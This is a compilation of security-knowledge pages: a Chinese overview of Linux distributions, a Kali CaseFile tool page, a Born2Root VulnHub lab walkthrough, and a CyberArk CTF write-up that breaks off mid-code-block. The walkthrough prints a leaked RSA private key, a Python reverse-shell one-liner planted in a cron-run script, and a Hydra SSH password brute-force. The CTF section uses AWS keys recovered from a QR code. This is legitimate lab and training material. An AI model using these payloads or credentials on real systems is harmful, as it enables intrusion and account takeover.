<img src="../../../../assets/img/logo/linux-tux.svg" width="20%">
</p>
---
## 简介
Linux 是一种自由和开放源码的类 UNIX 操作系统。该操作系统的内核由林纳斯·托瓦兹在1991年10月5日首次发布,在加上用户空间的应用程序之后,成为 Linux 操作系统。Linux 也是自由软件和开放源代码软件发展中最著名的例子。只要遵循 GNU 通用公共许可证(GPL),任何个人和机构都可以自由地使用 Linux 的所有底层源代码,也可以自由地修改和再发布。大多数 Linux 系统还包括像提供 GUI 的 X Window 之类的程序。除了一部分专家之外,大多数人都是直接使用 Linux 发行版,而不是自己选择每一样组件或自行设置。
通常情况下,Linux 被打包成供个人计算机和服务器使用的 Linux 发行版,一些流行的主流 Linux 发布版,包括Debian(及其派生版本 Ubuntu、Linux Mint)、Fedora(及其相关版本 Red Hat Enterprise Linux、CentOS)和 openSUSE 等。
Linux 发行版包含 Linux 内核和支撑内核的实用程序和库,通常还带有大量可以满足各类需求的应用程序。个人计算机使用的 Linux 发行版通常包含 X Window 和一个相应的桌面环境,如 GNOME 或 KDE。桌面 Linux 操作系统常用的应用程序,包括 Firefox 网页浏览器、LibreOffice 办公软件、GIMP 图像处理工具等。由于 Linux 是自由软件,任何人都可以创建一个符合自己需求的 Linux 发行版。
---
## 分类
按打包方式划分流行的发行版大致可以分为这几种
**Debian <img src="../../../../assets/img/logo/debian.svg" width="10%" align="right">**
Debian GNU / Linux 是一种强调使用自由软件的发行版。它支持多种硬件平台。Debian 及其派生发行版使用 deb 软件包格式,并使用 dpkg 及其前端作为包管理器。
- [Ubuntu](https://ubuntu.com/) <img src="../../../../assets/img/logo/ubuntu.svg" width="3%">
- [Kubuntu](https://kubuntu.org/) <img src="../../../../assets/img/logo/Kubuntu.png" width="4%">
- [Linux Mint](https://www.linuxmint.com/) <img src="../../../../assets/img/logo/linux-mint.svg" width="4%">
- [Elementary](https://elementary.io/) <img src="../../../../assets/img/logo/Elementary.svg" width="18%">
- TorBOX
- [Whonix](https://github.com/Whonix/Whonix) <img src="../../../../assets/img/logo/Whonix.png" width="8%">
- [Ubuntu Kylin](http://ubuntukylin.com/)
- [Ubuntu MATE](https://ubuntu-mate.org/) <img src="../../../../assets/img/logo/Ubuntu_MATE.svg" width="4%">
- [MX Linux](https://mxlinux.org/) <img src="../../../../assets/img/logo/MX_Linux.svg" width="4%">
- [Tails](https://tails.boum.org) <img src="../../../../assets/img/logo/Tails.svg" width="8%">
- Knoppix
- Kanitux
- Auditor Security Linux
- Backtrack
- [Kali](https://www.kali.org/) <img src="../../../../assets/img/logo/kali.png" width="6%">
- Morphix
- Hiwix Hiweed
- [Deepin](https://www.deepin.org) <img src="../../../../assets/img/logo/Deepin.svg" width="5%">
- [Parrot](https://parrotlinux.org/) <img src="../../../../assets/img/logo/Parrot.png" width="4%">
- [Solus](https://solusos.com) <img src="../../../../assets/img/logo/Solus.svg" width="4%">
---
**Red Hat <img src="../../../../assets/img/logo/redhat.svg" width="10%" align="right">**
Red Hat Linux 和 SUSE Linux 是最早使用 RPM 格式软件包的发行版,如今RPM格式已广泛运用于众多的发行版。这两种发行版后来都分为商业版本和社区支持版本。Red Hat Linux的社区支持版本现称为Fedora,商业版本则称为Red Hat Enterprise Linux。
- Fedora Core
- [Fedora](https://fedoraproject.org) <img src="../../../../assets/img/logo/fedora.svg" width="4%">
- [Qubes OS](https://www.qubes-os.org/) <img src="../../../../assets/img/logo/Qubes.svg" width="4%">
- [CentOS](https://centos.org) <img src="../../../../assets/img/logo/centOS.svg" width="12%">
- [Oracle Linxu](https://www.oracle.com/linux/)
---
**Slackware <img src="../../../../assets/img/logo/Slackware.svg" width="10%" align="right">**
Slackware 走了一条同其他的发行版本(Red Hat、Debian、Gentoo、SuSE、 Mandriva、Ubuntu 等)不同的道路,它力图成为“UNIX 风格”的 Linux 发行版本。它的方针是只吸收稳定版本的应用程序,并且缺少其他 Linux 版本中那些为发行版本定制的配置工具。
- [Tiny](http://tiny.seul.org/) <img src="../../../../assets/img/logo/Tiny.jpg" width="9%">
- S.u.S.E
- SuSE
- SUSE
- [OpenSUSE](https://www.opensuse.org/) <img src="../../../../assets/img/logo/suse.svg" width="9%">
---
**Arch <img src="../../../../assets/img/logo/archlinux.svg" width="10%" align="right">**
基于 KISS 原则,针对 x86-64 的 CPU 做了优化,以 `.pkg.tar.xz` 格式打包并由包管理器进行跟踪维护,特别适合动手能力强的 Linux 用户。
- [Manjaro](https://manjaro.org/) <img src="../../../../assets/img/logo/Manjaro.svg" width="4%">
---
**gentoo** <img src="../../../../assets/img/logo/gentoo.png" width="10%" align="right">
这个系统采用自己独特的 Portage 包管理系统,吸引了许多狂热爱好者以及专业人士,由于能自己编译及调整源码依赖等选项,而获得至高的自定义性及优化的软件,在源码包也有相当多新旧版本的选择,是个强调能自由选择的发行版。
- `Chrome OS`
- [Chromium OS](https://www.chromium.org/chromium-os) <img src="../../../../assets/img/logo/Chromium.png" width="5%">
---
## Source & Reference
- https://zh.wikipedia.org/wiki/Linux
- https://upload.wikimedia.org/wikipedia/commons/1/1b/Linux_Distribution_Timeline.svg
- https://distrowatch.com/
- https://linux.cn/article-14215-1.html
|
sec-knowleage
|
---
title: CaseFile
categories: Information Gathering
tags: [information gathering,casefile,recon,kali linux,reporting]
date: 2020-10-12 22:14:00
---
CaseFile 包描述
-------------
CaseFile 是 Maltego 的弟弟。它本质上与 Maltego 是一样的图形应用程序,但不具备运行转换的能力。CaseFile 让你能够快速添加、链接和分析数据。该应用程序针对的是 "离线 "分析师这一独特的市场,这些人的主要信息来源不是从开源情报方面获得的,也不是可以通过程序查询的。我们把这些人看作是在 "实地 "工作的调查员和分析师,他们从团队中的其他人那里获取情报,并建立起他们调查的信息地图。
CaseFile也可以简单地作为一个免费的图形查看器,用于查看Maltego中构建的图形。
工具来源: http://paterva.com/web6/products/casefile.php
[CaseFile主页][1] | [Kali CaseFile Repo仓库][2]
- 作者:Paterva
- 证书:Commercial
## CaseFile 是做什么的?
CaseFile 的诞生是由于许多 Maltego 用户使用该工具来使用他们从调查中获得的离线数据建立图形。这些用户并没有使用 Maltego 中的转换功能,只是需要 Maltego 图形功能的灵活性和性能。
- CaseFile是一个可视化智能应用程序,可用于确定数百种不同类型信息之间的关系和现实世界的联系。
- CaseFile可用于绘制信息片段之间的关系--即使它们相隔多个等级,也能看到隐藏的联系。
- CaseFile 捆绑了许多不同类型的实体,这些实体在调查中常用,允许你快速有效地行动。CaseFile 还能够添加自定义实体类型,允许你将产品扩展到你自己的数据集。
CaseFile 工具包中包含的工具
---------------------
### CaseFile——离线情报工具
CaseFile为你提供了快速添加、链接和分析数据的能力,它具有与Maltego相同的图形灵活性和性能,而无需使用变换。
CaseFile用法示例
-----------------
```shell
[/vc_column_text][/vc_column][/vc_row][vc_row][vc_column][vc_column_text]
root@kali:~# casefile
```
![casefile.png][3]
[1]: http://paterva.com/
[2]: https://gitlab.com/kalilinux/packages/casefile
[3]: http://tools.kali.org/wp-content/uploads/2014/02/casefile.png
|
sec-knowleage
|
# Born2Root:1
> https://download.vulnhub.com/born2root/born2root.ova
靶场IP:`192.168.32.17`
扫描对外端口服务
```
┌──(root㉿kali)-[~]
└─# nmap -sV -p1-65535 192.168.32.17
Starting Nmap 7.92 ( https://nmap.org ) at 2022-09-12 23:04 EDT
Nmap scan report for 192.168.32.17
Host is up (0.00018s latency).
Not shown: 65531 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.7p1 Debian 5+deb8u3 (protocol 2.0)
80/tcp open http Apache httpd 2.4.10 ((Debian))
111/tcp open rpcbind 2-4 (RPC #100000)
49713/tcp open status 1 (RPC #100024)
MAC Address: 08:00:27:30:22:B0 (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 13.84 seconds
```
访问80端口

爆破目录
```
┌──(root㉿kali)-[~]
└─# dirb http://192.168.32.17/
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Mon Sep 12 23:05:35 2022
URL_BASE: http://192.168.32.17/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://192.168.32.17/ ----
==> DIRECTORY: http://192.168.32.17/files/
==> DIRECTORY: http://192.168.32.17/icons/
+ http://192.168.32.17/index.html (CODE:200|SIZE:5651)
==> DIRECTORY: http://192.168.32.17/manual/
+ http://192.168.32.17/robots.txt (CODE:200|SIZE:57)
+ http://192.168.32.17/server-status (CODE:403|SIZE:301)
---- Entering directory: http://192.168.32.17/files/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://192.168.32.17/icons/ ----
(!) WARNING: Directory IS LISTABLE. No need to scan it.
(Use mode '-w' if you want to scan it anyway)
---- Entering directory: http://192.168.32.17/manual/ ----
==> DIRECTORY: http://192.168.32.17/manual/da/
==> DIRECTORY: http://192.168.32.17/manual/de/
==> DIRECTORY: http://192.168.32.17/manual/en/
==> DIRECTORY: http://192.168.32.17/manual/es/
==> DIRECTORY: http://192.168.32.17/manual/fr/
==> DIRECTORY: http://192.168.32.17/manual/images/
+ http://192.168.32.17/manual/index.html (CODE:200|SIZE:626)
==> DIRECTORY: http://192.168.32.17/manual/ja/
==> DIRECTORY: http://192.168.32.17/manual/ko/
==> DIRECTORY: http://192.168.32.17/manual/style/
==> DIRECTORY: http://192.168.32.17/manual/tr/
==> DIRECTORY: http://192.168.32.17/manual/zh-cn/
---- Entering directory: http://192.168.32.17/manual/da/ ----
==> DIRECTORY: http://192.168.32.17/manual/da/developer/
==> DIRECTORY: http://192.168.32.17/manual/da/faq/
==> DIRECTORY: http://192.168.32.17/manual/da/howto/
+ http://192.168.32.17/manual/da/index.html (CODE:200|SIZE:9041)
==> DIRECTORY: http://192.168.32.17/manual/da/misc/
==> DIRECTORY: http://192.168.32.17/manual/da/mod/
```
访问:`/robots.txt`

访问:`/wordpress-blog`

访问:`/files`

访问:`/icons/ `

找到:`VDSoyuAXiO.txt`,发现是一个私钥文件
```
┌──(root㉿kali)-[/tmp]
└─# curl http://192.168.32.17/icons/VDSoyuAXiO.txt
-----BEGIN RSA PRIVATE KEY-----
MIIEowIBAAKCAQEAoNgGGOyEpn/txphuS2pDA1i2nvRxn6s8DO58QcSsY+/Nm6wC
tprVUPb+fmkKvOf5ntACY7c/5fM4y83+UWPG0l90WrjdaTCPaGAHjEpZYKt0lEc0
FiQkXTvJS4faYHNah/mEvhldgTc59jeX4di0f660mJjF31SA9UgMLQReKd5GKtUx
5m+sQq6L+VyA2/6GD/T3qx35AT4argdk1NZ9ONmj1ZcIp0evVJvUul34zuJZ5mDv
DZuLRR6QpcMLJRGEFZ4qwkMZn7NavEmfX1Yka6mu9iwxkY6iT45YA1C4p7NEi5yI
/P6kDxMfCVELAUaU8fcPolkZ6xLdS6yyThZHHwIDAQABAoIBAAZ+clCTTA/E3n7E
LL/SvH3oGQd16xh9O2FyR4YIQMWQKwb7/OgOfEpWjpPf/dT+sK9eypnoDiZkmYhw
+rGii6Z2wCXhjN7wXPnj1qotXkpu4bgS3+F8+BLjlQ79ny2Busf+pQNf1syexDJS
sEkoDLGTBiubD3Ii4UoF7KfsozihdmQY5qud2c4iE0ioayo2m9XIDreJEB20Q5Ta
lV0G03unv/v7OK3g8dAQHrBR9MXuYiorcwxLAe+Gm1h4XanMKDYM5/jW4JO2ITAn
kPducC9chbM4NqB3ryNCD4YEgx8zWGDt0wjgyfnsF4fiYEI6tqAwWoB0tdqJFXAy
FlQJfYECgYEAz1bFCpGBCApF1k/oaQAyy5tir5NQpttCc0L2U1kiJWNmJSHk/tTX
4+ly0CBUzDkkedY1tVYK7TuH7/tOjh8M1BLa+g+Csb/OWLuMKmpoqyaejmoKkLnB
WVGkcdIulfsW7DWVMS/zA8ixJpt7bvY7Y142gkurxqjLMz5s/xT9geECgYEAxpfC
fGvogWRYUY07OLE/b7oMVOdBQsmlnaKVybuKf3RjeCYhbiRSzKz05NM/1Cqf359l
Wdznq4fkIvr6khliuj8GuCwv6wKn9+nViS18s1bG6Z5UJYSRJRpviCS+9BGShG1s
KOf1fAWNwRcn1UKtdQVvaLBX9kIwcmTBrl+e6P8CgYAtz24Zt6xaqmpjv6QKDxEq
C1rykAnx0+AKt3DVWYxB1oRrD+IYq85HfPzxHzOdK8LzaHDVb/1aDR0r2MqyfAnJ
kaDwPx0RSN++mzGM7ZXSuuWtcaCD+YbOxUsgGuBQIvodlnkwNPfsjhsV/KR5D85v
VhGVGEML0Z+T4ucSNQEOAQKBgQCHedfvUR3Xx0CIwbP4xNHlwiHPecMHcNBObS+J
4ypkMF37BOghXx4tCoA16fbNIhbWUsKtPwm79oQnaNeu+ypiq8RFt78orzMu6JIH
dsRvA2/Gx3/X6Eur6BDV61to3OP6+zqh3TuWU6OUadt+nHIANqj93e7jy9uI7jtC
XXDmuQKBgHZAE6GTq47k4sbFbWqldS79yhjjLloj0VUhValZyAP6XV8JTiAg9CYR
2o1pyGm7j7wfhIZNBP/wwJSC2/NLV6rQeH7Zj8nFv69RcRX56LrQZjFAWWsa/C43
rlJ7dOFH7OFQbGp51ub88M1VOiXR6/fU8OMOkXfi1KkETj/xp6t+
-----END RSA PRIVATE KEY-----
```
根据首页发现几个用户名
```
Martin N
Hadi M
Jimmy S
martin@secretsec.com
```
使用`martin`进行ssh登录
> ssh报错
>
> 
>
> **解决方法:**
>
> - **保证id_rsa权限为600**
> - **cd ~/.ssh目录下**
> - **创建文件config**
> - **文件内容: PubkeyAcceptedKeyTypes +ssh-rsa,保存退出**
```
┌──(root㉿kali)-[~/.ssh]
└─# ssh -i id_rsa martin@192.168.32.17
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Fri Jun 9 20:31:29 2017 from 192.168.0.42
READY TO ACCESS THE SECRET LAB ?
secret password :
WELCOME !
```
查看计划任务,发现`sekurity.py`
```
martin@debian:~$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin
# m h dom mon dow user command
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )
*/5 * * * * jimmy python /tmp/sekurity.py
```
设置反弹shell
```
martin@debian:/tmp$ echo 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.32.5",7777));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' >/tmp/sekurity.py
```
由于 cron 作业设置为每五分钟执行一次脚本,因此需要一些时间。

我们找不到任何可以帮助我们根机器的东西。现在我们使用第三个用户来root机器。我们知道第三个用户是 hadi。所以我们使用这个名字创建一个字典。
我们使用 `bopscrk`创建字典。

使用SSH进行爆破
```
┌──(root㉿kali)-[/opt/bopscrk]
└─# hydra -l hadi -P tmp.txt ssh://192.168.32.17
Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-09-13 00:01:06
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 23 login tries (l:1/p:23), ~2 tries per task
[DATA] attacking ssh://192.168.32.17:22/
[22][ssh] host: 192.168.32.17 login: hadi password: hadi123
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 1 final worker threads did not complete until end.
[ERROR] 1 target did not resolve or could not be connected
[ERROR] 0 target did not complete
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-09-13 00:01:11
```
ssh登录
```
┌──(root㉿kali)-[/opt/bopscrk]
└─# ssh hadi@192.168.32.17
hadi@192.168.32.17's password:
The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Wed Jun 7 20:53:17 2017
```
切换到root用户

|
sec-knowleage
|
# On our way back home (4/5)
Category: Innovation
## Description
> Your equipement is fixed and you are now planning your way back.
>
> http://cyber-ctf.be.s3-website-us-west-2.amazonaws.com/rss
An MP3 file was attached.
## Solution
The MP3 file contains around two minutes of a clock ticking tick-tock. Three words can be heard throughout the file: "One" at the beginning, "Two" after a minute or so, and "Sorry(?)" at the end.
Let's visit the RSS link:
```console
┌──(user@kali)-[/media/sf_CTFs/cyberark/On_our_way_back_home]
└─$ curl http://cyber-ctf.be.s3-website-us-west-2.amazonaws.com/rss
┌──(user@kali)-[/media/sf_CTFs/cyberark/On_our_way_back_home]
└─$ curl http://cyber-ctf.be.s3-website-us-west-2.amazonaws.com/rss -I
HTTP/1.1 301 Moved Permanently
x-amz-id-2: XlTIfqLDZNanDEW8/p6nYWH5QY6hgGDGV2j4iEWAJWG9M1v4TBHNvEa6drda0OvZDsziXeIx7h0=
x-amz-request-id: B0NBF1H53AWAS370
Date: Sun, 18 Jul 2021 20:06:24 GMT
Location: http://cyber-ctf.be.s3-website-us-west-2.amazonaws.com/chl4/feed.xml
Server: AmazonS3
Content-Length: 0
┌──(user@kali)-[/media/sf_CTFs/cyberark/On_our_way_back_home]
└─$ curl http://cyber-ctf.be.s3-website-us-west-2.amazonaws.com/rss -L
<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/"><channel><title>CyberArk Innovation challenge 4</title><link>https://www.cyberark.com</link><description>RSS feed for: CyberArk Innovation</description><language>en-EN</language><lastBuildDate>Sun, 18 Jul 2021 20:06:19 GMT</lastBuildDate><generator>rfeed v1.1.1</generator><docs>https://github.com/svpino/rfeed/blob/master/README.md</docs><item><title>CyberArk's spaceship</title><description>Coming home</description><author>CyberArk Innovation</author><pubDate>Sun, 18 Jul 2021 20:06:19 GMT</pubDate></item><item><title>ln(8103.08392758)/3</title><link>https://s3.us-west-2.amazonaws.com/cyber-ctf.be/chl4/c.txt</link><author>CyberArk Innovation</author><pubDate>Sun, 18 Jul 2021 20:06:19 GMT</pubDate></item></channel></rss>
```
We can see here an interesting title: `ln(8103.08392758)/3` (which results in 3) and a link to a file (`https://s3.us-west-2.amazonaws.com/cyber-ctf.be/chl4/c.txt`). Let's get it:
```console
┌──(user@kali)-[/media/sf_CTFs/cyberark/On_our_way_back_home]
└─$ wget https://s3.us-west-2.amazonaws.com/cyber-ctf.be/chl4/c.txt
--2021-07-18 23:10:45-- https://s3.us-west-2.amazonaws.com/cyber-ctf.be/chl4/c.txt
Resolving s3.us-west-2.amazonaws.com (s3.us-west-2.amazonaws.com)... 52.218.170.0
Connecting to s3.us-west-2.amazonaws.com (s3.us-west-2.amazonaws.com)|52.218.170.0|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10047 (9.8K) [text/plain]
Saving to: ‘c.txt’
c.txt 100%[========================================================================================================================================>] 9.81K --.-KB/s in 0.004s
2021-07-18 23:10:46 (2.73 MB/s) - ‘c.txt’ saved [10047/10047]
┌──(user@kali)-[/media/sf_CTFs/cyberark/On_our_way_back_home]
└─$ file c.txt
c.txt: ASCII text, with very long lines, with no line terminators
┌──(user@kali)-[/media/sf_CTFs/cyberark/On_our_way_back_home]
└─$ head -c 100 c.txt
KvXXTO70F6zerJe99t2zoQY1JmImalXeer5x3zz2w9YFOd8tyh+9N4HvZ6rueUMbj+q5l62HI/P1eyLHBxGC4AqUel0W96rOjGzz
```
Looks like base64. Decoding the file results in a binary output:
```console
┌──(user@kali)-[/media/sf_CTFs/cyberark/On_our_way_back_home]
└─$ base64 -d c.txt | xxd -g 1 | head
base64: invalid input
00000000: 2a f5 d7 4c ee f4 17 ac de ac 97 bd f6 dd b3 a1 *..L............
00000010: 06 35 26 62 26 6a 55 de 7a be 71 df 3c f6 c3 d6 .5&b&jU.z.q.<...
00000020: 05 39 df 2d ca 1f bd 37 81 ef 67 aa ee 79 43 1b .9.-...7..g..yC.
00000030: 8f ea b9 97 ad 87 23 f3 f5 7b 22 c7 07 11 82 e0 ......#..{".....
00000040: 0a 94 7a 5d 16 f7 aa ce 8c 6c f3 f7 4e 34 fb 11 ..z].....l..N4..
00000050: 6c ca 18 b9 93 0d 56 e5 6e 43 e7 05 46 ae 5a 4b l.....V.nC..F.ZK
00000060: a6 a2 79 29 a6 4e 0b f8 93 67 22 45 dc e8 97 8c ..y).N...g"E....
00000070: d9 ef cf dc fb ed 5b de 79 53 4d ff d8 37 65 98 ......[.ySM..7e.
00000080: cb df f1 5a eb ff bd 0f f7 bc 70 d6 ee f7 78 a3 ...Z......p...x.
00000090: 38 ed df 39 a0 df c7 62 d3 96 65 9e 6b 5d b7 cb 8..9...b..e.k]..
```
Well, the MP3 file resembled a clock ticking, what if we try again after waiting for a while:
```console
┌──(user@kali)-[/media/sf_CTFs/cyberark/On_our_way_back_home]
└─$ curl http://cyber-ctf.be.s3-website-us-west-2.amazonaws.com/rss -L
<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/"><channel><title>CyberArk Innovation challenge 4</title><link>https://www.cyberark.com</link><description>RSS feed for: CyberArk Innovation</description><language>en-EN</language><lastBuildDate>Sun, 18 Jul 2021 20:12:20 GMT</lastBuildDate><generator>rfeed v1.1.1</generator><docs>https://github.com/svpino/rfeed/blob/master/README.md</docs><item><title>CyberArk's spaceship</title><description>Coming home</description><author>CyberArk Innovation</author><pubDate>Sun, 18 Jul 2021 20:12:20 GMT</pubDate></item><item><title>puzzle</title><link>https://s3.us-west-2.amazonaws.com/cyber-ctf.be/chl4/q.txt</link><author>CyberArk Innovation</author><pubDate>Sun, 18 Jul 2021 20:12:20 GMT</pubDate></item></channel></rss>
```
We got a new file! The title is "puzzle", and the link gives us:
```console
┌──(user@kali)-[/media/sf_CTFs/cyberark/On_our_way_back_home]
└─$ wget https://s3.us-west-2.amazonaws.com/cyber-ctf.be/chl4/q.txt
--2021-07-18 23:14:35-- https://s3.us-west-2.amazonaws.com/cyber-ctf.be/chl4/q.txt
Resolving s3.us-west-2.amazonaws.com (s3.us-west-2.amazonaws.com)... 52.92.129.184
Connecting to s3.us-west-2.amazonaws.com (s3.us-west-2.amazonaws.com)|52.92.129.184|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 10046 (9.8K) [text/plain]
Saving to: ‘q.txt’
q.txt 100%[========================================================================================================================================>] 9.81K --.-KB/s in 0.003s
2021-07-18 23:14:36 (3.10 MB/s) - ‘q.txt’ saved [10046/10046]
┌──(user@kali)-[/media/sf_CTFs/cyberark/On_our_way_back_home]
└─$ base64 -d q.txt | xxd -g 1 | head
base64: invalid input
00000000: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 .PNG........IHDR
00000010: 00 00 02 b2 00 00 02 b2 08 02 00 00 00 a6 1b aa ................
00000020: d7 00 00 58 12 49 44 41 54 78 9c ed dd 77 b8 2c ...X.IDATx...w.,
00000030: 57 79 e7 fb f7 5d ab aa bb 77 3c 39 4b 47 39 23 Wy...]...w<9KG9#
00000040: 21 04 4a 80 24 40 48 42 e4 6c a2 31 78 b0 b1 8d !.J.$@HB.l.1x...
00000050: cd d8 1e e7 19 8f e7 da 33 f6 0c 33 66 c0 e0 34 ........3..3f..4
00000060: 26 19 b0 09 26 8a 0c 22 18 50 42 01 09 e5 7c 72 &...&..".PB...|r
00000070: de b9 63 d5 5a ef fd a3 97 b0 98 eb d9 17 66 ab ..c.Z.........f.
00000080: d5 b5 cf f9 7e 1e 9e 07 90 76 57 55 57 57 55 ff ....~....vWUWWU.
00000090: 7a 55 d5 af d4 cc 04 00 00 40 c4 0d 7b 01 00 00 zU.......@..{...
```
This actually looks like a PNG file! Let's check what we got:
```console
┌──(user@kali)-[/media/sf_CTFs/cyberark/On_our_way_back_home]
└─$ base64 -d q.txt > q.png
base64: invalid input
┌──(user@kali)-[/media/sf_CTFs/cyberark/On_our_way_back_home]
└─$ pngcheck q.png
q.png EOF while reading IDAT data
ERROR: q.png
```
Well, it's corrupted. But let's try again to wait and query the RSS feed, to get:
```xml
<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/"><channel><title>CyberArk Innovation challenge 4</title><link>https://www.cyberark.com</link><description>RSS feed for: CyberArk Innovation</description><language>en-EN</language><lastBuildDate>Thu, 15 Jul 2021 22:08:19 GMT</lastBuildDate><generator>rfeed v1.1.1</generator><docs>https://github.com/svpino/rfeed/blob/master/README.md</docs><item><title>CyberArk's spaceship</title><description>Coming home</description><author>CyberArk Innovation</author><pubDate>Thu, 15 Jul 2021 22:08:19 GMT</pubDate></item><item><title>ln(22026.4657948)/5</title><link>https://s3.us-west-2.amazonaws.com/cyber-ctf.be/chl4/r.txt</link><author>CyberArk Innovation</author><pubDate>Thu, 15 Jul 2021 22:08:19 GMT</pubDate></item></channel></rss>
```
Now we have a link to `r.txt`, and a title of `ln(22026.4657948)/5` (which is `2`). Again, it's a base64 encoded file.
So, to proceed, we'll take `q.txt` ("puzzle"), append to it `r.txt` ("2") and `c.txt` ("3"), then try to decode it:
```console
┌──(user@kali)-[/media/sf_CTFs/cyberark/On_our_way_back_home]
└─$ cat q.txt r.txt c.txt | base64 -d > out.bin
┌──(user@kali)-[/media/sf_CTFs/cyberark/On_our_way_back_home]
└─$ file out.bin
out.bin: PNG image data, 690 x 690, 8-bit/color RGB, non-interlaced
┌──(user@kali)-[/media/sf_CTFs/cyberark/On_our_way_back_home]
└─$ pngcheck out.bin
OK: out.bin (690x690, 24-bit RGB, non-interlaced, 98.4%).
```
Surprisingly, we got a QR Code:
```console
┌──(user@kali)-[/media/sf_CTFs/cyberark/On_our_way_back_home]
└─$ zbarimg out.bin
QR-Code:https://bitbucket.org/space-expedition/expedition/src/master/, AKIA5FNOHSTOQECIOTPZ, S/UmZqK5bEl8edYiUtQqBKzanqMhtHOBbSDzj6GM
scanned 1 barcode symbols from 1 images in 0.06 seconds
```
We got a bitbucket repo, and what looks like AWS credentials!
Let's clone the repo:
```console
┌──(user@kali)-[/media/sf_CTFs/cyberark/On_our_way_back_home]
└─$ git clone https://bitbucket.org/space-expedition/expedition.git
Cloning into 'expedition'...
Unpacking objects: 100% (9/9), 1.35 KiB | 4.00 KiB/s, done.
┌──(user@kali)-[/media/sf_CTFs/cyberark/On_our_way_back_home/expedition]
└─$ ls
bitbucket-pipelines.yml README.md
┌──(user@kali)-[/media/sf_CTFs/cyberark/On_our_way_back_home/expedition]
└─$ cat bitbucket-pipelines.yml
image:
name: 904992888029.dkr.ecr.us-west-2.amazonaws.com/wayhome:latest
aws:
access-key: $AWS_ACCESS_KEY_ID
secret-key: $AWS_SECRET_ACCESS_KEY
pipelines:
default:
- step:
script:
- echo 'note to myself - don’t spill coffee on spaceship parts'
┌──(user@kali)-[/media/sf_CTFs/cyberark/On_our_way_back_home/expedition]
└─$ cat README.md
After fixing the equipment on the spaceship, you are ready to go back home. But, did you lose those important coordinates of the landing site?
```
We should probably check the commit log:
```console
┌──(user@kali)-[/media/sf_CTFs/cyberark/On_our_way_back_home/expedition]
└─$ git log
commit 850f3bb2bd09fdc843d1d06c67efd1d01b42a2cb (HEAD -> master, origin/master, origin/HEAD)
Author: Eli Shemesh <eli.shemesh@cyberark.com>
Date: Wed Jun 30 14:51:29 2021 +0000
Initial commit
commit cc2291d0d230e974d708854a96bdddb00982b528
Author: Eli Shemesh <eli.shemesh@cyberark.com>
Date: Wed Jun 30 10:35:56 2021 +0000
Initial commit
commit b6fda9453a5dfbd39cbe89200a8ddf450060248b
Author: Eli Shemesh <eli.shemesh@cyberark.com>
Date: Wed Jun 30 10:34:39 2021 +0000
Initial commit
```
Long story short, trying to access anything via the `awscli` fails - the user doesn't have permissions for almost anything. The only thing that does work is:
```console
┌──(user@kali)-[/media/sf_CTFs/cyberark/On_our_way_back_home/new2]
└─$ export AWS_ACCESS_KEY_ID=AKIA5FNOHSTOQECIOTPZ
┌──(user@kali)-[/media/sf_CTFs/cyberark/On_our_way_back_home/new2]
└─$ export AWS_SECRET_ACCESS_KEY=S/UmZqK5bEl8edYiUtQqBKzanqMhtHOBbSDzj6GM
┌──(user@kali)-[/media/sf_CTFs/cyberark/On_our_way_back_home/new2]
└─$ export AWS_DEFAULT_REGION=us-west-2
┌──(user@kali)-[/media/sf_CTFs/cyberark/On_our_way_back_home/new2]
└─$ aws sts get-caller-identity
{
"UserId": "AIDA5FNOHSTOX4C2Z76AU",
"Account": "904992888029",
"Arn": "arn:aws:iam::904992888029:user/ctf-bitbucket-access"
}
```
Trying to pull the `904992888029.dkr.ecr.us-west-2.amazonaws.com/wayhome:latest` docker image independently fails as well.
BUT - we have the pipeline, right? It's already deployed to bitbucket, how does it work?
We clone the project and start with the following pipeline definition:
```yaml
image:
